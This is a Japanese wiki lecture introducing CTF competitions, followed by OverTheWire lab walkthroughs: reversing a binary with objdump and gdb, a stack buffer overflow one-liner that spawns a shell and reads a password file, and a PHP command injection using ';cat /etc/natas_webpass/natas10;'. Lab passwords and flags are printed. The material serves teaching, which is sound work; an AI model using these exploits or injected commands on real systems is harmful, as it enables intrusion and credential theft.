サイズ: 21722
コメント:
|
← 2017-05-26 17:29:38時点のリビジョン7 ⇥
サイズ: 21717
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 496: | 行 496: |
```html= | ``` |
CTF講習
CTFとは
Capture The Flagの略。情報セキュリティの技術を競うコンテスト
開催方式
Jeopardy
クイズ形式。由来はアメリカのクイズ番組Jeopardy!。
様々なジャンルの問題が出され、問題を解いて得たflagを提出することでポイントを得ることができる。
獲得ポイントの最終スコアで順位が決まる。同一スコアの場合は先にflagを提出したチームが上位となる。
オンラインで行われるCTFは一般的にこの方式。
Attack-Defense
攻防戦形式。A&D,A/Dなどと略される。
各チームに脆弱なサービスが稼働しているサーバーが与えられる。
一定時間ごとに運営がサービスのユーザーとしてflagを書き込み、
他チームはサービスの脆弱性を利用してflagを盗み出して解答サーバーに提出することでポイントを得る。
運営がflagを書き込んでから次のflagを書き込むまでの間を1ラウンドと数える。
ポイントはFlag point, Attack point, Defence point, SLA(Service Level Agreement)で構成される。
それぞれのポイントは各サービスごとで独立しており、全サービスのポイントの合計で順位が決まる。
-
Flag point
どこかしらのサーバーに対して攻撃が成功した場合に1回きり得ることが出来る。
-
Attack point
各ラウンド、各チームごとにユニークなflagが決められており、flagを提出するとポイントを得ることが出来る。
Flag pointと異なりラウンドごとに更新されるので継続してポイントを獲得できる。
-
Defence point
各ラウンドにおいて他チームからの攻撃を防ぎきることで獲得できるポイント。
-
SLA
サービスが正常に稼働しているか各ラウンドごとに運営が確認し、稼働していないと判断されると減点される。
パッチなどを当てた際にこのSLAチェックを通せているか確認しなければならない。
大きな大会の本戦は殆どがこの方式。
King of the Hill
A&Dから派生した形式。KoHと略される。
問題ごとにサーバーが設けられている。
各チームに一定時間ごとに更新されるteam flagが与えられる。
ポイントはAttack pointとDefence pointが存在する。
-
Attack point
A&DのFlag pointにあたる。問題サーバーの脆弱性を突くことで得ることが出来るポイント。
-
Defence point
問題サーバーに対して脆弱性を突いてteam flagを書き込むことで獲得できるポイント。
SECCON Finals及びSECCON系のイベントでしか見たことがない。
問題ジャンル
-
Reversing
与えられたプログラムやシステムを解析する力を問う問題。
一般的に、ある入力が行われたときだけ動作が変わるプログラムが与えられ、
その動作が変わる入力をプログラム解析によって求める。
マルウェア解析やゲームクラックなどがモデル。
-
Pwn
与えられたプログラムやシステムの脆弱性を発見しExploit(攻撃用コード)を作成する力を問う問題。
一般的に、与えられたプログラムがサービスとして稼働しており、
脆弱性を突いてサーバーの中にあるflagファイルの内容を盗み出す。
PwnはOwnが転じたものと言われている。
-
Web
Webシステムの脆弱性を発見し、Exploitを作成する力を問う問題。
一般的に、Webシステムの脆弱性を突いてWebサーバーからflagファイルを盗んだり、
adminユーザーにしか見れないページを盗み見ることでflagを得る。
-
Crypto
古典暗号から現代暗号までの暗号技術やそれに対する攻撃方法の知識を問う問題。
一般的に、暗号化されたflagを暗号文と暗号化プログラムから復元する。
-
Forensics
ディスクイメージやメモリダンプなどから欠落したり削除された情報を復元する力を問う問題。
コンピュータ・フォレンジクスがモデル。
-
PPC
コーディング能力を問う問題。
競技プログラミングに近いが、自分のPCで実行する場合が多いため使用できるプログラミング言語には制限がない。
Professional Programming and Codingの略。
CTFの始め方
-
取り敢えずCTFに出ましょう。分からなくて解けなくても出ましょう。というか最初は解けなくて当然です。
-
解けなかった問題のWriteup(解けた人がCTF終了後に公開する解法)を理解できるまで読み込みましょう。
-
1と2を繰り返しましょう。
イベント型CTF
ほぼ毎週末行われるCTF。開催時間は24時間と48時間が標準。
殆どのCTFの開催情報はCTFTimeを見れば集まる。
常設型CTF
開催期間が決められていないCTF。
初心者にはPicoCTFがおすすめ。
他の常設CTFは以下を参照。
過去問
イベント型CTFの過去問。
-
2013年以降のCTFのWriteupがまとめられている。
-
通称batalist。binjaという日本最強のチームに所属しているbataさんが作成した過去のpwnの難易度別リスト。
-
batalistのどの問題を解いたのかチェックできるサイト
-
CTFって何に役立つの?
-
やっているとパソコンについて広い知識が少し得られる
-
やっていると情報セキュリティの知識が少し得られる
CTFはつまるところ、「やれば少しは学びがあるのでそこそこ美味しい遊び」という認識を持つべきです。
CTFとの向き合い方 ~CTFで消耗しているすべての人へ~より引用。
ハンズオン
Reversing
http://overthewire.org/wargames/behemoth/
sshコマンドを用いて問題サーバーに接続する。
パスワードはbehemoth0
$ ssh behemoth0@behemoth.labs.overthewire.org -p 2221
fileコマンドを使って下調べをする。
behemoth0@behemoth:~$ cd /behemoth
behemoth0@behemoth:/behemoth$ file behemoth0
behemoth0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b955f7301a005e22a15b66e21c250da1c02a9110, not stripped
Intel 80386(x86) 32bitのELFでnon strippedのバイナリ。
ここで、non strippedとはシンボル(関数名)が残されていることを示している。
次にバイナリの解析をする。
取り敢えずどんな動作をするのか動かしてみる。
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: AAAA
Access denied..
Passwordの入力を求めてアクセス許可するか判定している。
どのような処理が行われているのか逆アセンブル結果をもとに解析する。
objdumpコマンドを使って逆アセンブルを行う。
重要な部分(main関数)だけを抜き出したものを以下に示す。
behemoth0@behemoth:/behemoth$ objdump -d behemoth0 -M intel
(snip)
080485a2 <main>:
80485a2: 55 push ebp
80485a3: 89 e5 mov ebp,esp
80485a5: 83 e4 f0 and esp,0xfffffff0
80485a8: 83 ec 70 sub esp,0x70
80485ab: 65 a1 14 00 00 00 mov eax,gs:0x14
80485b1: 89 44 24 6c mov DWORD PTR [esp+0x6c],eax
80485b5: 31 c0 xor eax,eax
80485b7: c7 44 24 1f 4f 4b 5e mov DWORD PTR [esp+0x1f],0x475e4b4f
80485be: 47
80485bf: c7 44 24 23 53 59 42 mov DWORD PTR [esp+0x23],0x45425953
80485c6: 45
80485c7: c7 44 24 27 58 5e 59 mov DWORD PTR [esp+0x27],0x595e58
80485ce: 00
80485cf: c7 44 24 10 20 87 04 mov DWORD PTR [esp+0x10],0x8048720
80485d6: 08
80485d7: c7 44 24 14 38 87 04 mov DWORD PTR [esp+0x14],0x8048738
80485de: 08
80485df: c7 44 24 18 4d 87 04 mov DWORD PTR [esp+0x18],0x804874d
80485e6: 08
80485e7: c7 04 24 61 87 04 08 mov DWORD PTR [esp],0x8048761
80485ee: e8 0d fe ff ff call 8048400 <printf@plt>
80485f3: 8d 44 24 2b lea eax,[esp+0x2b]
80485f7: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485fb: c7 04 24 6c 87 04 08 mov DWORD PTR [esp],0x804876c
8048602: e8 69 fe ff ff call 8048470 <__isoc99_scanf@plt>
8048607: 8d 44 24 1f lea eax,[esp+0x1f]
804860b: 89 04 24 mov DWORD PTR [esp],eax
804860e: e8 2d fe ff ff call 8048440 <strlen@plt>
8048613: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048617: 8d 44 24 1f lea eax,[esp+0x1f]
804861b: 89 04 24 mov DWORD PTR [esp],eax
804861e: e8 5a ff ff ff call 804857d <memfrob>
8048623: 8d 44 24 1f lea eax,[esp+0x1f]
8048627: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804862b: 8d 44 24 2b lea eax,[esp+0x2b]
804862f: 89 04 24 mov DWORD PTR [esp],eax
8048632: e8 b9 fd ff ff call 80483f0 <strcmp@plt>
8048637: 85 c0 test eax,eax
8048639: 75 2a jne 8048665 <main+0xc3>
804863b: c7 04 24 71 87 04 08 mov DWORD PTR [esp],0x8048771
8048642: e8 d9 fd ff ff call 8048420 <puts@plt>
8048647: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
804864e: 00
804864f: c7 44 24 04 82 87 04 mov DWORD PTR [esp+0x4],0x8048782
8048656: 08
8048657: c7 04 24 85 87 04 08 mov DWORD PTR [esp],0x8048785
804865e: e8 fd fd ff ff call 8048460 <execl@plt>
8048663: eb 0c jmp 8048671 <main+0xcf>
8048665: c7 04 24 8d 87 04 08 mov DWORD PTR [esp],0x804878d
804866c: e8 af fd ff ff call 8048420 <puts@plt>
8048671: b8 00 00 00 00 mov eax,0x0
8048676: 8b 54 24 6c mov edx,DWORD PTR [esp+0x6c]
804867a: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14
8048681: 74 05 je 8048688 <main+0xe6>
8048683: e8 88 fd ff ff call 8048410 <__stack_chk_fail@plt>
8048688: c9 leave
8048689: c3 ret
804868a: 66 90 xchg ax,ax
804868c: 66 90 xchg ax,ax
804868e: 66 90 xchg ax,ax
(snip)
詳しい解析はここでは行わないが、興味のある人は参考資料を元に取り組んでみて欲しい。
目標としては同じ動作をするC言語のコードに戻せると良い。
アセンブリを読むと入力と何かしらの文字列をstrcmp関数を使って比較していることが分かる。
そこでgdb(デバッガー)を用いて動的に解析する。
strcmp関数を呼び出す直前にbreakpointを仕掛けて引数を確認する。
x86 32bitの環境で引数はスタックの上に積まれる。
アドレス | 値 |
---|---|
esp + 0x0 | arg1 |
esp + 0x4 | arg2 |
esp + 0x8 | arg3 |
behemoth0@behemoth:/behemoth$ gdb -q behemoth0
Reading symbols from behemoth0...(no debugging symbols found)...done.
(gdb) b *0x8048632
Breakpoint 1 at 0x8048632
(gdb) r
Starting program: /behemoth/behemoth0
Password: AAAAAAAAAAAAAA
Breakpoint 1, 0x08048632 in main ()
(gdb) x/10x $esp
0xffffd6e0: 0xffffd70b 0xffffd6ff 0xffffd700 0x080482d2
0xffffd6f0: 0x08048720 0x08048738 0x0804874d 0x65eb7fe6
0xffffd700: 0x796d7461 0x726f6873
(gdb) x/s 0xffffd70b
0xffffd70b: 'A' <repeats 14 times>
(gdb) x/s 0xffffd6ff
0xffffd6ff: "eatmyshorts"
(gdb)
入力文字列と"eatmyshorts"を比較していることが分かった。
Flag : eatmyshorts
参考資料
-
Intel® 64 and IA-32 Architectures Software Developer's Manual Instruction Set Reference, A-Z
-
Intelによるx86, x86_64の命令一覧。知らない命令が出てきたら、これを参照すれば絶対に分かる。
Pwn
http://overthewire.org/wargames/narnia/
目標は/etc/narnia_pass/narnia1の内容を盗み取ること。
sshコマンドを用いて問題サーバーに接続する。
パスワードはnarnia0
$ ssh narnia0@narnia.labs.overthewire.org -p 2226
fileコマンドを使って下調べをする。
narnia0@narnia:~$ cd /narnia
narnia0@narnia:/narnia$ file narnia0
narnia0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=dd54e629928af495112df911bb651846c281d5d8, not stripped
Intel 80386(x86) 32bitのELFでnon strippedのバイナリ。
ソースコードが配布されているので確認する。
narnia0@narnia:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
変数valが0xdeadbeefという値になればシェルを取ることが出来る。
入力は変数bufに対するものしか無い。
どのような入力を与えれば変数valが書き換わるか考える。
ここでmain関数におけるスタックフレーム(関数ごとのメモリ領域)の表を下に示す。
アドレス | 値 |
---|---|
ebp - 0x18 | buf[0] 〜 buf[3] |
(snip) | (snip) |
ebp - 0x8 | buf[16] 〜 buf[19] |
ebp - 0x4 | val |
ebp + 0x0 | saved ebp |
ebp + 0x4 | retuen address |
つまりメモリ領域では変数bufの直後のの4バイトが変数valの領域となっている。
ここで、先程のソースコードを見るとscanf関数では24文字の入力を受け取るようになっている。
つまり20文字以上の入力を与えると、変数bufの領域を乗り越えて変数valの領域まで書き換えてしまうということ。
これはバッファオーバーフローと呼ばれる脆弱性。
次にvalを0xdeadbeefにするには20文字目以降をどのような文字にすればいいのか考える。
ここで、問題のバイナリのアーキテクチャはx86であり、x86はリトルエンディアンという方式を取っている。
リトルエンディアン方式で変数の値がメモリ領域に保存される時の例を以下に示す。
変数valの値が0x41424344だった場合、メモリ領域では以下のように保存されている。
アドレス | 値 |
---|---|
ebp - 0x18 | buf[0] 〜 buf[3] |
(snip) | (snip) |
ebp - 0x8 | buf[16] 〜 buf[19] |
ebp - 0x4 | 0x44 |
ebp - 0x3 | 0x43 |
ebp - 0x2 | 0x42 |
ebp - 0x1 | 0x41 |
ebp + 0x0 | saved ebp |
ebp + 0x4 | retuen address |
つまり、複数のバイトのデータを並べる時は逆順に並べるという方式。
今回の場合は0xdeadbeefという値にしたいので入力のバイト列は"\xef\xbe\xad\xde"となればよい。
以上の結果を踏まえて攻撃コード(exploit)を作成すると、
narnia0@narnia:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'";cat)|./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
efeidiedae
shellを取り、/etc/narnia_pass/narnia1の中身を盗み取ることに成功した。
Flag: efeidiedae
Web
http://natas9.natas.labs.overthewire.org
/etc/natas_webpass/natas10に次のステージのパスワードが書かれているのでこれを盗み取ることが目標。
サーバーにアクセスすると認証を求められるので以下のユーザー名とパスワードを使ってログインする。
ユーザー名 : natas9
パスワード : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
テキストボックスとボタンが置かれている。
試しにapple
とテキストボックスに入れ、Search
ボタンを押すと
apple
が含まれている単語が表示された。
右下のView sourcecode
からソースコードを見ることが出来る。
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
passthru関数を通してgrepコマンドを使い、テキストボックスに入力した文字列を含んでいる単語をdictionary.txtから探すような処理が書かれている。
passthru関数についてPHPのDocumentで調べると、第1引数をUnixコマンドとして実行する関数だということが分かる。
これはbashやzshなどのシェルでコマンドを実行するときと同じような書き方でコマンドを実行することが出来るということ。
ここで、grep -i $key dictionary.txt
の$key
に何を入れればいいか。
標準的なshellでは;
をコマンドとコマンドの間に挟むことで1行の入力で複数コマンドを連続して実行できる。
これを利用しgrep以外のコマンドの実行を試みる。
もし$keyに;ls;
という文字列が入れられたと仮定すると、grep -i ;ls; dictionary.txt
というコマンドが実行されることになる。
最初のgrep -i
はコマンドの引数が足りないので標準出力には何も吐かずに終了する。
次にls
が実行され、カレントディレクトリのファイル一覧が表示される。
試しにテキストボックスに;ls;
と入力してSearchボタンを押すと、
dictionary.txt
index-source.html
index.php
index.php.tmpl
と表示された。
任意のコマンドが実行できるようになったので後は/etc/natas_webpass/natas10を読めばいい。
テキストファイルを読むにはcatコマンドを使えばいいので、
テキストボックスに;cat /etc/natas_webpass/natas10;
と入力してSearchボタンを押すと、
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
と表示された。
Flag : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu